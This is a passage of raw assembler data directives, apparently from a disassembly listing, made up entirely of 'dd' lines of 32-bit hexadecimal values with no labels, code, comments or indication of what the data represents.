		dd 0FCCF484h, 0A160B81Ah, 9D988138h, 322F156Dh,	80210EB2h
		dd 0D28D27CFh, 0D6E9166Dh, 0BF465512h, 80BD3E80h, 19AA6809h
		dd 0DB595505h, 93A9554Bh, 5D01FA51h, 9C053D6h, 22CCB32Ah
		dd 0B5B1A03Ah, 98C5B518h, 2509E90Ch, 0D3CA0749h, 0B053F505h
		dd 9589878Dh, 0E9A6A3A6h, 1AAA4B00h, 23DA2F8Ah,	5DE30291h
		dd 61E1DB80h, 4FC2E25Eh, 0FB800DB0h, 3A4889A5h,	172E44B5h
		dd 0E8AEFDC0h, 0C23A0006h, 0C6E15F99h, 80126EB5h, 0F11733E7h
		dd 27B9A4B4h, 5B5B100Bh, 14D25DD0h, 88018A8Ch, 80441527h
		dd 0BD4EFC75h, 78DE92A5h, 49A05C08h, 6E7F8225h,	0E10C00C7h
		dd 0C7D24675h, 4DB7C02Bh, 8475C5C0h, 0BA0D8341h, 0ED5BB984h
		dd 8831167Ah, 4B0002B8h, 7EED53F9h, 770712Dh, 3EE1E746h
		dd 0BD59E4C1h, 643FB4BBh, 0F8CD7309h, 0DCCA76h,	0AF4E5D58h
		dd 0B5897D4Fh, 0DB1AE125h, 0FC600912h, 611303FCh, 0EA4BACE2h
		dd 3D021297h, 0C1D8F4B9h, 2FB46CBBh, 81AD9A75h,	56CCB6A8h
		dd 952B9B1Ch, 0E87818F5h, 82D10079h, 4937BA97h,	0A901F5BBh
		dd 1F7DC7D6h, 0E22A86CDh, 8C14EC05h, 0BDC4D74Eh, 800F5491h
		dd 810BE23Ah, 38B3FB58h, 3283E0h, 0AAB95B60h, 1571E30h
		dd 0C83C270Bh, 34298429h, 66E2A6BCh, 0CD8E029h,	401D9C01h
		dd 996FD073h, 4F8F8200h, 4410FCDDh, 3862F8ECh, 0B74FB8BDh
		dd 7BD3B04Dh, 656102FEh, 2A931940h, 44BF9166h, 8718973Ah
		dd 195EBD23h, 89E131D1h, 0E22C1C96h, 0E7242510h, 420394Ch
		dd 1DA526C7h, 0B01E4E8h, 0E2BD5517h, 923F888Ch,	200D41C9h
		dd 0A4B8138h, 0AB3048CEh, 7D8D315Fh, 606C04B7h,	37E06DE6h
		dd 7E58F372h, 0F7AD5BCFh, 0FA24854Bh, 0AF92A39Bh, 844B28E6h
		dd 0B815E91Fh, 5D5F096h, 0B5E3A968h, 3CD6B059h,	41D45A4Bh
		dd 0FDE457BFh, 0B9E9B83Eh, 80ED9E03h, 379D5BB4h, 1000D82h
		dd 0B504F03Dh, 9D76BD4h, 0B41C6792h, 0C05F3257h, 97F65C7Ch
		dd 2A20289Ah, 0CB050145h, 6D439B07h, 0EED33D7Dh, 0F796E2C2h
		dd 5064FEC6h, 5CEE04D8h, 106BECABh, 0EE0B4F26h,	0D9A93021h
		dd 8B630968h, 19420C90h, 9C07EE56h, 0FCA98F88h,	0D500DC2Ah
		dd 16744705h, 0B9F815AEh, 19FD8053h, 0C72B3BB6h, 6A917803h
		dd 0D06C6360h, 564D570h, 28CF16A7h, 2662A229h, 74ADCB5Bh
		dd 0BCF8C423h, 0C3E9C411h, 0F37E59A1h, 48B4D698h, 0C6539D5Bh
		dd 0F0191A59h, 4609B389h, 57B5F7F0h, 1A911535h,	0F3B73D80h
		dd 610086ADh, 1DE3815Dh, 5E1B3BA5h, 1AB6F89h, 2F8D01FDh
		dd 8D281367h, 0AC903BD5h, 4EC2DA25h, 97DC0AF6h,	0B309D171h
		dd 8D3C7215h, 0D00AE0ABh, 8512AA7Ch, 6403AE57h,	5A60BD1Dh
		dd 81E8A4B2h, 0DE4ECE05h, 94FE68C8h, 7F7BFEF6h,	0D8012E00h
		dd 5BF7E65Eh, 0ABA0F65Eh, 9B0B822Bh, 680119FAh,	2729F764h
		dd 9224DD8Ah, 36F42E9Bh, 359D05EEh, 0A974AF09h,	710122E2h
		dd 3FF26266h, 38A7D4DCh, 93189601h, 0D37B163Bh,	0CF96A88h
		dd 3EA25F17h, 4DDC6C6Bh, 8908B749h, 38553FEh, 4A1DBC85h
		dd 19C824DAh, 88EC8BC0h, 90B6FE42h, 0AF14B432h,	1540B050h
		dd 1379D61h, 0BCB14601h, 6260911Dh, 0D5C5AAA9h,	7255F5B2h
		dd 0B531099Bh, 5F710BB9h, 0E1952CECh, 3882CE6Bh, 0EFA74E2Dh
		dd 5E104CA3h, 0FC4B1F85h, 38F89382h, 0B896165Ah, 0B7C0EBA4h
		dd 19D0BF9h, 0CFF30E4Ah, 0AA048084h, 7980029Eh,	0D1CBABC1h
		dd 3E299C01h, 68A0F59h,	0E0E88113h, 1052A075h, 7A43CDD3h
		dd 0C54D9B3Fh, 0D404A1FDh, 79C826C9h, 498890FFh, 6B5B8215h
		dd 51623E9h, 801B0C63h
		dd 0C7DBDFE1h, 64E2EDB5h, 1FE26418h, 9D81465Ch,	3085232Eh
		dd 0A45FB552h, 0DEEC1EBDh, 4BFE3D4Dh, 0E3EE620h, 0E75D02B3h
		dd 1528929Eh, 0B5483A5Dh, 855C9CE7h, 122AEEDh, 982116F2h
		dd 0F852746Bh, 25178059h, 64C04DFCh, 5836017h, 0B9034F25h
		dd 0C48D8863h, 0DDDDAAFBh, 17FC6A6Bh, 23C4B9F9h, 8960C361h
		dd 7A49FB2Eh, 0A58A7161h, 17644D6Dh, 9CD20D60h,	2880603Bh
		dd 6E2D9E28h, 0E2ECFCFEh, 58091BF9h, 0C6F54A1Eh, 35251AE8h
		dd 0B8E86E27h, 70872538h, 503DE362h, 0CB986C02h, 2500C9CCh
		dd 1AFC217Ch, 0A931038Ch, 708B33CAh, 138C22h, 8678C61Ah
		dd 0A2C92D46h, 0ACBDD300h, 7ABAF0F3h, 5A5C1CE5h, 3A566723h
		dd 9ABA5F45h, 1B98D360h, 38B7037Ch, 0BFB8D006h,	6A3FCCA8h
		dd 5764B3BCh, 1E4D30C1h, 0BF507580h, 86C71B5h, 9A937092h
		dd 141F178h, 9F280C22h,	2F633F1Fh, 0B72BD2F1h, 0C9FEE540h
		dd 8AAD0C2Ch, 0B14AD4F6h, 21A920BEh, 9C1E0929h,	6A84E5E1h
		dd 0A5AB8BC0h, 7A66AC62h, 74AB1B12h, 14D5C2CFh,	75686E57h
		dd 6083025Ch, 9824D082h, 0F5F2C062h, 528A5B4Bh,	35C62F2Fh
		dd 0B19964Dh, 0DC5B12F4h, 25749F01h, 0FE389090h, 82E38001h
		dd 0FDAAA401h, 63F4703Bh, 0C6C4A391h, 0FDCA19D5h, 0FBD26034h
		dd 556129D2h, 1464C56Dh, 70BB67h, 64356DB7h, 803D6019h
		dd 0A7D14E8h, 0CC5EB0D9h, 3097FB99h, 29B9BB1Eh,	808D60CBh
		dd 342A6AA3h, 0AC1CB750h, 815C072Dh, 0FD647B40h, 12A44FE0h
		dd 0E261F1E8h, 0A0578839h, 84894F9Bh, 0A0DDBF92h, 9C149A2Eh
		dd 3E46D525h, 0C9DD8D2Ah, 7C95C670h, 7D48DC88h,	0F5471212h
		dd 1BEC11E9h, 83D4008Ch, 7429224Ch, 0F51220C0h,	0E8FDE9h
		dd 68D78925h, 58C18B3Eh, 79100253h, 0C65F250Dh,	2549742h
		dd 8A305212h, 3A196417h, 3B9720AFh, 4996889Ah, 9CFC0900h
		dd 3223CD6Ah, 5FFE13C0h, 85E9905Bh, 66820871h, 5A8607DFh
		dd 22FECC15h, 0E8587199h, 0C9BD0B12h, 3ECBB1EAh, 0CA01656Fh
		dd 345E36F3h, 4D0520E4h, 84280B58h, 21AD4B9Fh, 0BC26B116h
		dd 0DD898BC5h, 0E381D310h, 8BE56109h, 0BF6F6452h, 46552BEAh
		dd 0FFBF39BEh, 4CCE2805h, 8D7AFE52h, 0F378007Fh, 99F7F7Ch
		dd 0C4C4D85h, 152DC4D7h, 937B5B0Bh, 0A7E5D0h, 597134F1h
		dd 0F525FFCBh, 7C2FFB94h, 3095D65Fh, 1F8D5347h,	25FD3F59h
		dd 11258958h, 0A696C693h, 0ED3A0024h, 4BF87FBFh, 3692CB1Fh
		dd 0D1FF5B16h, 3B80F9DBh, 7D9D23F8h, 8BFC1E5Eh,	147E99E7h
		dd 6A9114F6h, 0E54BC402h, 0EECC6FEFh, 0C6150E74h, 0DA403421h
		dd 43D7A225h, 2D68C902h, 4A65C12Bh, 70F85B16h, 0D9711DF4h
		dd 67255D78h, 0A4C17B09h, 9413D63Ch, 38AB8BE9h,	8F90A90Dh
		dd 62377F95h, 0C1B2093Fh, 25E422Eh, 750A3D98h, 9097296Eh
		dd 78BBBh, 168A4BC5h, 6055D774h, 2C9BA43Ch, 1560F790h
		dd 1D4FC208h, 980BA76h,	0E900CD44h, 12BD91B5h, 674C1617h
		dd 0D6003AA2h, 7ADA74DBh, 9F00B605h, 0BBB8CDDh,	980D7F0Fh
		dd 950784Ch, 14CFB85h, 70D3DB75h, 750C8AC8h, 0F0983311h
		dd 0F83297DBh, 0CB250CF0h, 95F7C659h, 1A7812FBh, 220F5B27h
		dd 0B557F9D4h, 891491DEh, 0A9CD8392h, 12454C0Eh, 0D45B50Bh
		dd 0CF50F25Eh, 0F93197EFh, 0EBE71705h, 0F2B056h, 0E6A94DBFh
		dd 0BD096070h, 0D8FF0555h, 0D4B2499Dh, 8AAC614Eh, 16E45625h
		dd 0A5B14100h, 6CE2D339h, 4EA374C7h, 232600DCh,	861CF9EAh
		dd 0F88B5B13h, 0C4A022ABh, 7A26DF2Bh, 0F8E0938Fh, 0E0B3BA5Bh
		dd 4C0BE910h, 0F70F397Bh, 0A2021DD6h, 9188195h,	0ECC24405h
		dd 0BB6934E4h, 5731F9ACh, 21E6528h, 6FE9F75Fh, 69F57BDEh
		dd 80FAC1E0h, 69599501h, 0E9FC0B2Ch, 2D7E9B71h,	0ED788522h
		dd 48FA494Ah, 0F108076Dh, 5F123502h, 0FF39C920h, 1852B572h
		dd 0E8072069h, 0B966A041h, 0A1AB0BA2h, 11F58B5Eh, 0A76A611Dh
		dd 2D89129Fh, 1F886FBDh, 4525D4A0h, 14A1C52Ah, 5D4081FCh
		dd 3D8D3431h, 8286AD61h, 0D52FC05Ah, 988005B7h,	0AC0999B4h
		dd 9CB3009Fh, 0C7811273h, 0E119E4D8h, 8058F957h, 372BB031h
		dd 69E390ACh, 0F4165B9h, 9E9B63Ah, 703DEDBBh, 0DCAA9466h
		dd 5EB26C2Fh, 30F0A5F6h, 8B022041h, 9C9EF6B5h, 59CF2FB8h
		dd 0DFFBF460h, 0BB7661h, 2B6AA3B5h, 4DF780D2h, 914B3F97h
		dd 0AD419C16h, 59529D6h, 5648037Ch, 0DBECBF14h,	0DABC6059h
		dd 0B97DD109h, 0B3E7474h, 6774AA30h, 392DEDC4h,	1248B89Eh
		dd 16A78D09h, 0D8C109A0h, 64A76871h, 0A510C063h, 2CD23DDBh
		dd 1CDDAF04h, 3EB89A4Ah, 0AE04BBACh, 2B14A6DCh,	6BAA6CAEh
		dd 60734FB7h, 8C545263h, 0E75E28FCh, 0B0D33FF8h, 2D931E5Ch
		dd 15B5083h, 0DD1D92B5h, 0BB00753Ah, 0E1FF7C42h, 2183B7BDh
		dd 18D98291h, 95CCB3Ch,	0BD03E950h, 0C5079C3Dh,	0DBE0C690h
		dd 4B35A6CCh, 32278A30h, 56F855D3h, 108F51FFh, 3AC026BFh
		dd 13F25E9Ch, 26338D8h,	0D1D8DE7h, 8BD98C20h, 0E18025FEh
		dd 0A7E0174Dh, 191279Ch, 0DCBFF89Fh, 2B32214Ah,	12FC145h
		dd 0A5A1F5B7h, 0CDF34163h, 0A2A67B2Ah, 0F6C270F5h, 0C41226A0h
		dd 0CBB3B464h, 0C300E821h, 0AADE9676h, 0BD44003Fh, 0FA0F3EE7h
		dd 4D01CBD7h, 203DB149h, 0CC2F2355h, 570790DDh,	505F8AB3h
		dd 82DA3769h, 0F883E061h, 67405474h, 0A963DB7h,	548D640Bh
		dd 8871ADDFh, 9B1F8026h, 6876DA80h, 0E379174Fh,	88028560h
		dd 1955B51h, 6614B06Dh,	57AACAFEh, 5652ED53h, 4A74C68Fh
		dd 20AFDE4Bh, 97E38187h, 62DAED2Dh, 9B00D84Fh, 0E19BD076h
		dd 5BC8AA00h, 3C4DE441h, 0AC015AAEh, 96E9845Bh,	0C8A510B8h
		dd 0E3006C8Bh, 0C818154Eh, 66D839h, 6421D6ABh, 0DBAFDA73h
		dd 704F3F25h, 4B6BF675h, 602E8C5Bh, 84D11AC1h, 342E618Ah
		dd 5198C130h, 12742E47h, 5FB76ABBh, 621335E2h, 5B20FAD5h
		dd 879C07h, 6D05FB0Ah, 0A358555Fh, 0CD2A3D03h, 0D529CB63h
		dd 953091EFh, 0E5560E33h, 2CA5E2B0h, 0C271A825h, 0B968C01Fh
		dd 0E364BF28h, 0DA8B5316h, 0BBF01B0h, 4E221AC6h, 0DE08F852h
		dd 800CE996h, 52250A71h, 8807A776h, 69BF8737h, 92F05969h
		dd 14B4FA8Bh, 0E9BF0568h, 0A356540Bh, 0B9CD5E26h, 13406648h
		dd 0A85414EAh, 269A80DDh, 29B83Eh, 41457F82h, 0CA2C5F2Eh
		dd 4104D84Fh, 9AEB8D5Bh, 0C21B8856h, 4C6067EFh,	0DA01A05Ah
		dd 40A2BBDEh, 0DE4C6F32h, 940800B7h, 26D5FAC5h,	0F10078A7h
		dd 0E5720987h, 90D3DDC4h, 17F54A8Dh, 6367BB4Fh,	0F9088250h
		dd 0E04A00E2h, 19A5D1D2h, 5B018A8Eh, 0A7B1F39Bh, 207BB35Dh
		dd 87577444h, 0F8A49F01h, 0EFAB8536h, 2435F27Fh, 0DAC9F4FCh
		dd 55D3A084h, 4442259Dh, 1590BD77h, 0B8808E1Dh,	74762138h
		dd 0BF067750h, 0A32DF878h, 0C9F57329h, 805B3555h, 0F6ED3B20h
		dd 5590745Eh, 31825DB6h, 302B985h, 372423E9h, 8D049951h
		dd 0CEFF3045h, 0DA2EF965h, 5E168029h, 2397114h,	0F268B847h
		dd 6157D88Ah, 382E1C45h, 65D6C306h, 0CFC22EADh,	0DF96F64Ch
		dd 6F03AB27h, 0B36E41ADh, 83A77B92h, 0C293FD34h, 0C555ADADh
		dd 2D4249Eh, 1D338F4Ch,	0ED00ADD9h, 7EE2A520h, 10440934h
		dd 0A758C1DCh, 823E3D95h, 22AD77CFh, 7E3D32DFh,	0EC5B2DF3h
		dd 12C51ADh, 2C608DB8h,	986D4D5h, 0C4FE954Ah, 0D3A3BCFAh
		dd 0F482A59Ah, 0B760D20Bh, 30B760F7h, 0E0A1F35Eh, 177D7D0Ch
		dd 0F42D9523h, 0C1208D9Ah
		dd 25617128h, 845460B7h, 567812E2h, 0F605ACA0h,	0B509E104h
		dd 0F7BE0EDDh, 15BD09ABh, 42B7FF0Dh, 0DE611597h, 52891622h
		dd 0C35B2591h, 7509319Fh, 4A9F6E0Ah, 19EC0F5h, 215AEDB5h
		dd 1CA29FE6h, 19B2D30h,	0B13A9F5Dh, 89717948h, 5B19DD5Ah
		dd 604EA6C7h, 0C90C9991h, 20B38300h, 0ADD1EA2Bh, 0D7A4244Ch
		dd 25B5117Ch, 0A0DC665Fh, 1702B777h, 0F66A7F38h, 0F1C9F311h
		dd 0A72B9C83h, 2D407F54h, 0EED72D80h, 355F99BAh, 1E6A00D7h
		dd 4E5298BFh, 13177C5Dh, 0B7F844B3h, 0A2F5B802h, 0E6D55A7Bh
		dd 1D615D51h, 0F04C4550h, 87B39596h, 0DB913DD8h, 47CC1C4Ah
		dd 7B1460E9h, 0FABE6B5Dh, 0F5F21000h, 885E625Ah, 8450194h
		dd 9F21B312h, 4656F29Eh, 30151851h, 0D8E7F7DDh,	3B32540Bh
		dd 0FE6784D7h, 8D09D990h, 0B62A4A21h, 301AF22Ah, 0A502D28Ch
		dd 4E2AC4DCh, 5F1E4389h, 0C86DDA5Dh, 2AC9C01Dh,	6BE8C491h
		dd 409EA75h, 5F9D0384h,	0DE97F9F0h, 0EA07FE1Ch,	9CB89B42h
		dd 20C96B81h, 0E2582938h, 0E916BD94h, 0BDAB901Bh, 0C5B5124Dh
		dd 35F7A555h, 0D9EA010Fh, 3F43F608h, 282AD0B1h,	1184306Eh
		dd 0E8085D9Dh, 42048C17h, 0C663FC16h, 0AC40B704h, 5EE6F547h
		dd 0BFCC84A0h, 0D5163DFAh, 0E0A071CFh, 0F4C617E9h, 0F24AE6FFh
		dd 0F1CB82EDh, 0ADC1240Bh, 9EB896h, 1FA8FA26h, 57E1194Eh
		dd 77500997h, 59533000h, 52AD0630h, 0DF8B3461h,	0E07A202Ah
		dd 0B179DA15h, 0E031742Fh, 69C5C129h, 0E809CC58h, 5D7BD5Fh
		dd 13781477h, 8481D1DBh, 7E20A75Eh, 0A500DC5Ah,	0D05BC954h
		dd 4F599533h, 3B57DD01h, 1CC8F28Fh, 0D96CBCC0h,	5CD004AAh
		dd 811D4DD7h, 2B0DFDDEh, 5BA0E1A7h, 9101A466h, 0E386BFFEh
		dd 94207768h, 6517E111h, 2A21AE75h, 6D392731h, 2002A1E8h
		dd 1CB91509h, 0B10AE046h, 0D928A22Ah, 0C001BF4Dh, 1DDBF4EBh
		dd 56C1FCD0h, 3225E116h, 453B2103h, 8005A324h, 0F6615AAFh
		dd 1E8E00E0h, 0B029CD4Ah, 0E9006065h, 0A773EB3Bh, 0C91FA5h
		dd 74DF01F6h, 0FF8286FAh, 0A8DC2507h, 5241BE11h, 15ECDBF9h
		dd 0C447BA7h, 983CFD76h, 21C0D708h, 8158A01h, 530C1D20h
		dd 0D560C013h, 934144CDh, 0DAE6DF00h, 0D29C74DBh, 0A261C87Dh
		dd 0A11584C0h, 22984644h, 8CFB00D8h, 0A502C915h, 0A30003B8h
		dd 83C2EF2Bh, 60FFDFD3h, 787228BBh, 0D2077CF1h,	18D71BC1h
		dd 1E83F7B4h, 0F820041Ch, 27683D70h, 0F90CE6B4h, 15004741h
		dd 0BA8BEE51h, 0DFFC7769h, 63C5EB8h, 10DE8349h,	0DF9BC06h
		dd 395534h, 867EA372h, 0D8DFADDBh, 8BDD333h, 94210366h
		dd 61247EABh, 46D1DC9Fh, 5848266Ch, 0DDD04097h,	28A63900h
		dd 0CE467E96h, 72311F4Fh, 0F26D414Eh, 0D03BAB9Ch, 3288C8Eh
		dd 0B000EA66h, 730D3A37h, 0A22928h, 0D1B9AD57h,	0EB397DB5h
		dd 9600FCFEh, 755ACBB1h, 0D6353h, 721531B2h, 8A0518EAh
		dd 0AC3F2C00h, 7BF0EF70h, 35CD006Eh, 2759F5E3h,	7100FD8Eh
		dd 914AD95Fh, 0DB225Bh,	9AD3ECEAh, 4C886557h, 615F6700h
		dd 0A85348C3h, 371200FAh, 0F75C0C93h, 0EE005B51h, 4C4D80ECh
		dd 0FE3F0B65h, 0C0627447h, 0A4974138h, 830CE8B7h, 9E06343h
		dd 2121C178h, 0E02FA48Fh, 8B007542h, 0F0F2628Eh, 616A4Dh
		dd 0C01DE0B0h, 3CA8742Eh, 20E42600h, 8B678A46h,	0A998CE08h
		dd 4289B1C3h, 3D00A97Ah, 33C83B22h, 66C06583h, 215B0823h
		dd 22358100h, 0B49793C7h, 0C1DD00B2h, 0E2485A07h, 78D861D8h
		dd 814C2468h, 0B011CA3Fh, 22083E18h, 0C42BC838h, 36804058h
		dd 1DEFF122h, 79562C51h, 45D0EC0Ah, 0F49E0194h,	0E04A7C72h
		dd 616F6D8Eh, 92A52C68h, 163727Ah, 0C2941460h, 0F482C658h
		dd 0ED0638DFh, 4690F23Eh, 19C972A8h, 41628F96h,	3802FC7Fh
		dd 631DE814h, 82533B7h,	0A6210079h, 0A1FC0236h,	0D91D4E43h
		dd 0E4085295h, 88BF867Ah, 907C153h, 0ECD3AF2Eh,	42B72CA0h
		dd 900F0006h, 0FD28488Eh, 0D4FE9BE0h, 5F0DA00Eh, 8822A69Eh
		dd 1FEC01D0h, 6F28338Ah, 0C20C2017h, 7E7D970Fh,	0A952E12Bh
		dd 0C9D00A37h, 3AB500D2h, 0F8B933B4h, 3F0048A1h, 0EDCE4B93h
		dd 0CFB35Bh, 0B7ADC1F0h, 1E4CDFBBh, 0B477340Ch,	1DAB388Bh
		dd 31C7455h, 0DF9CF3D4h, 4533501Eh, 59C62030h, 0AC113010h
		dd 0D1B34340h, 0D81D3818h, 60E010h, 455ECB2Bh, 0DE57110h
		dd 0B9754BF2h, 5BBA7200h, 50348ADFh, 0E25401EBh, 0B4454D2Ch
		dd 1870B026h, 40F3E3E9h, 3C8840FDh, 5D4B1B27h, 36C0A010h
		dd 7F08C44Fh, 1CC62FDCh, 0FB0F3D3Bh, 89A96CCBh,	4DA0D600h
		dd 0DB188BEFh, 39293C01h, 84A50059h, 829CC00Fh,	0EB055BBDh
		dd 2D4B43B2h, 0B160F118h, 0F3640096h, 662BF6F4h, 47009551h
		dd 2D8A1E98h, 1911F9h, 75F536CBh, 9EB026B6h, 10EF6419h
		dd 6080F930h, 29833AEh,	1100FB16h, 0A2A938ADh, 306196h
		dd 0F9211D12h, 0D5A09B98h, 0B41BFA00h, 14598453h, 4D0E00FBh
		dd 639290C6h, 20C0D2A8h, 0C9E68D21h, 203153FEh,	6064B584h
		dd 19FE18BBh, 30191201h, 956EECF1h, 0DC49803h, 30DC90FDh
		dd 0D221ED08h, 5006ECEh, 0D173AC8Eh, 109C6498h,	153954h
		dd 53991711h, 155CFD7h,	1C5045AFh, 0CB8B9883h, 0C61C88D6h
		dd 309D645Fh, 82F01758h, 0A040079Dh, 204D2B11h,	321C7980h
		dd 0C9AB7D35h, 34EC1000h, 2A649D8Fh, 78A4EEBFh,	0B8F1541Eh
		dd 1C5F3132h, 821038A9h, 7156A391h, 81E3E008h, 612F7D85h
		dd 0F8D730FDh, 0D890F2A7h, 52009301h, 0F58CA8BAh, 0CCBCA01Dh
		dd 0EB210508h, 0D552AB00h, 8E72716Ch, 7B230426h, 1EA4994h
		dd 3A512721h, 0F8E3E6E4h, 0C79E1C6Fh, 0DAE4C08Ah, 0F6F863C6h
		dd 7F2F1903h, 249C911h,	0A9D92189h, 0EDC3F95Eh,	98782DD1h
		dd 0B921CF09h, 665E00A1h, 0CA744012h, 0B82664E2h, 0B707FCCBh
		dd 84617BB4h, 0E842FB13h, 6EC030F0h, 0D4988F11h, 0D087E788h
		dd 11606EC8h, 626A3136h, 133919E6h, 0A729A0A0h,	4006F5Fh
		dd 0A4CD46C4h, 96091Bh,	1C39CBFAh, 0C135C6BEh, 0E31425E4h
		dd 23AC480Eh, 529601A2h, 1894A8C5h, 0AEEE8838h,	0A74F521Dh
		dd 0A572C40h, 0C41297EAh, 84849081h, 7CF800C1h,	20AD0951h
		dd 44012180h, 33009E14h, 0B8BB7E6Eh, 48C07C08h,	9100ACE9h
		dd 0AE98174Fh, 1B30ACE8h, 0C97848C5h, 77CB0FC2h, 0CC8D090Ah
		dd 0C8CC0251h, 115EA830h, 88DD60F8h, 0A0B880D0h, 0DD967A5Eh
		dd 98433600h, 607297B7h, 0B27E71h, 2F171570h, 2EF495EAh
		dd 4796D0C0h, 4CE09082h, 9C081885h, 0B603F8C0h,	0CF22063h
		dd 12FA0B9h, 94A8F020h,	60C71B90h, 7682E2D9h, 28C8E232h
		dd 0FC11FC80h, 936EC480h, 448CB498h, 0CC0CD4E6h, 0D29E9A6Eh
		dd 2F220C66h, 0C168FE45h, 7B6C5F09h, 30D00707h,	7C15811Ch
		dd 0FC5C00ABh, 8259E8BAh, 0E7009281h, 0A380684Bh, 14113AC0h
		dd 48BB2018h, 18CEBB8h,	0FB79B8A1h, 26662593h, 5A1E006Ch
		dd 0D377869h, 90280022h, 6BDCC55Dh, 0FF01A010h,	0BB889B82h
		dd 1C305894h, 381740CFh, 68002491h, 3E22AF8Ch, 344D02D4h
		dd 0CC9B1997h, 0D994D0A3h, 0DAF293Ah, 111D39ABh, 0F63DC3E8h
		dd 0DCDD0790h, 5EED9815h, 0DB21028Ch, 8C3EFB3Eh, 0A809E5AAh
		dd 8977017Fh, 0AEB3CB12h, 0FC90919Fh, 0DB59B701h, 8111389Ah
		dd 93606E41h, 85EB524Ch, 5519F000h, 20AC0AB1h, 0E00A119Fh
		dd 0C81D6F4Ch, 6A0BB00h, 1CA1633Dh, 4A311370h, 82A4C57Ch
		dd 0C71C8398h, 0BECBB461h
		dd 24392489h, 49190F11h, 0E8FA59EDh, 0E4005603h, 2E90DC92h
		dd 9F5FBA9h, 0ED932552h, 0A1AC0C00h, 0C00CF217h, 38102648h
		dd 0F44F50F0h, 2D98F8h,	9B9C6640h, 1BFF54E7h, 3CD1AC99h
		dd 4D484118h, 614F008Ch, 98639A3Ah, 0F8C8D0C2h,	412BC064h
		dd 0CE433A8h, 0F8089421h, 841848D7h, 28CE4F8h, 0A02CD1A4h
		dd 86139B0h, 9A9B106Fh,	14B4A042h, 54B890AEh, 8CFB34BDh
		dd 14A8C348h, 8834AC98h, 0CBD783E5h, 0EFF0FC6Eh, 0E04C4BB4h
		dd 1E607044h, 0CF5B5D21h, 730F0BE9h, 0A103270Eh, 0CC0E09B4h
		dd 69897911h, 102482FEh, 11540A20h, 3DC680AEh, 87C590AAh
		dd 3EFEDE03h, 3C74F0D2h, 976D0048h, 64EEEBBBh, 90C917C3h
		dd 6A40220Ch, 53550514h, 23583A84h, 0EAF004EDh,	10C08899h
		dd 13B3BC1Bh, 1AD07C68h, 0C894E9C9h, 60926804h,	23AE3DC2h
		dd 511A590h, 3E077A58h,	60D3DA35h, 89FF7101h, 848F8006h
		dd 368E883h, 36A0909Bh,	0D021F4FAh, 85CE91CDh, 4CC25EAAh
		dd 0D46891ADh, 5EA2BE10h, 0F0423C00h, 41F77BD6h, 5A6801C7h
		dd 0FF2795B7h, 18E450CCh, 0DD483C8Ch, 0F899185Ch, 26646641h
		dd 91A80A2Bh, 0A294531Eh, 0E0EF3038h, 0A9793F01h, 0FB9C5F80h
		dd 20615988h, 0EC4BA882h, 0D9904304h, 19803D2Fh, 0B6D741Fh
		dd 0B20344E3h, 0C7314636h, 0F420D00Fh, 65113C71h, 0FFC1C886h
		dd 2B00D1E2h, 6F69D6D4h, 16927696h, 1F6BBD43h, 61FA8063h
		dd 97678956h, 212BB6EAh, 0BC39E0A9h, 0ED90883Eh, 400664DDh
		dd 2B3EF1D9h, 911E0FC7h, 4D40B870h, 94C8639Ch, 0B41BC11Dh
		dd 8AB7C08Fh, 0FC02D6FBh, 411D869Bh, 0F040C4D0h, 575EC6h
		dd 12C0FE48h, 51922071h, 84A02D00h, 384BB322h, 9C40C1B9h
		dd 8097F393h, 922A1658h, 60E2B2Fh, 6032C075h, 0A278F113h
		dd 18A0CCA1h, 0BF520890h, 0E071A4A8h, 0E852F4h,	59A212C4h
		dd 8F1E9228h, 3F3C5899h, 730B207Ch, 0E96108A8h,	1101D695h
		dd 0DF579C94h, 0D14CD0A9h, 18D018ECh, 510F388Ch, 0C6000463h
		dd 0A1DBE7A0h, 8499F13Eh, 0DACF44A1h, 0AD4A1A00h, 0C08B269Ah
		dd 0ABF887B4h, 0B8E9BE9Bh, 60F17084h, 26906EC1h, 70A4DC98h
		dd 6E06C9D1h, 342F0CADh, 985B03F9h, 59899FCEh, 0A23A14F0h
		dd 0B6480702h, 8201AC6Bh, 9D589A88h, 803911B8h,	335610Bh
		dd 209CB89Ah, 9276F8F0h, 0D0F75830h, 9188C21h, 0E75F649Eh
		dd 0FF851860h, 78AEF134h, 2158C08h, 1D9F9460h, 1484A00Eh
		dd 2BF34Eh, 0F9C522FAh,	3B8F4C7Eh, 0DD1920C0h, 0A7CEA1D1h
		dd 4D738820h, 0CC11ECC8h, 0C45EAC80h, 0FC43BD5Fh, 0BC1CD222h
		dd 38C65EA4h, 20E054CAh, 8498FC34h, 28F12F45h, 8CA4A048h
		dd 0C3529404h, 46284A8h, 52ACEC20h, 0B12200D3h,	0F3079285h
		dd 9C133D03h, 0D8203997h, 76831AAh, 95D36BC3h, 0EA9C4298h
		dd 3DA0AC80h, 28C6AD52h, 1C311849h, 0C05E62BBh,	0A3D11C19h
		dd 964CC220h, 77007B90h, 7F44FC3Bh, 25BC8F84h, 0C400F71Fh
		dd 0BF949003h, 4298A601h, 0E25E4AD8h, 1B63BF0h,	0EEF6C366h
		dd 85F17B9Ch, 1EE56030h, 1F400C1h, 5A58C004h, 9E39FC21h
		dd 0A389849h, 1D5E891h,	0FA4DE0F4h, 0E435DA82h,	0FD00883Fh
		dd 2C0978E3h, 0B00EF9B4h, 30DE45F8h, 0C7881058h, 0C05318A8h
		dd 30AE68F5h, 9BA01254h, 5600E27Fh, 6DADB9DFh, 1073374h
		dd 991AF42Ah, 384B648Fh, 84497050h, 789F0090h, 291C6573h
		dd 47769Ch, 0D996C535h,	4E367241h, 0F730BE00h, 1BD3D80Fh
		dd 507E0017h, 7229B933h, 0B203CED5h, 5FDC393Ch,	0BA13F04Dh
		dd 4A9400A7h, 0ED764717h, 24005185h, 49DB938Ah,	7FD46D96h
		dd 462D07A3h, 40CD6290h, 2920D009h, 0C186F818h,	6E61410h
		dd 0D32274ADh, 8C1B487Ah, 0CB381789h, 0FE6EF85Ah, 45CD0048h
		dd 0E3CA9D2h, 940784F2h, 14305743h, 0A3CA51C0h,	652E0039h
		dd 29DBB3E3h, 0AE00F56Fh, 0F0628D5Ah, 0F8AA8192h, 0C0D7472h
		dd 0CF971278h, 0F50052E9h, 0ADF1FA9Ch, 0CFEA394h, 0E32E9826h
		dd 5E0E70A0h, 3ED01A75h, 0A3163180h, 60C698D1h,	978020C8h
		dd 5E3A5162h, 0C7700147h, 7FC0D2B3h, 9A2BC086h,	141B6850h
		dd 0E070A732h, 5DFFF6h,	0A20E3E6Ah, 0B0BAC19Ch,	0D31ADD00h
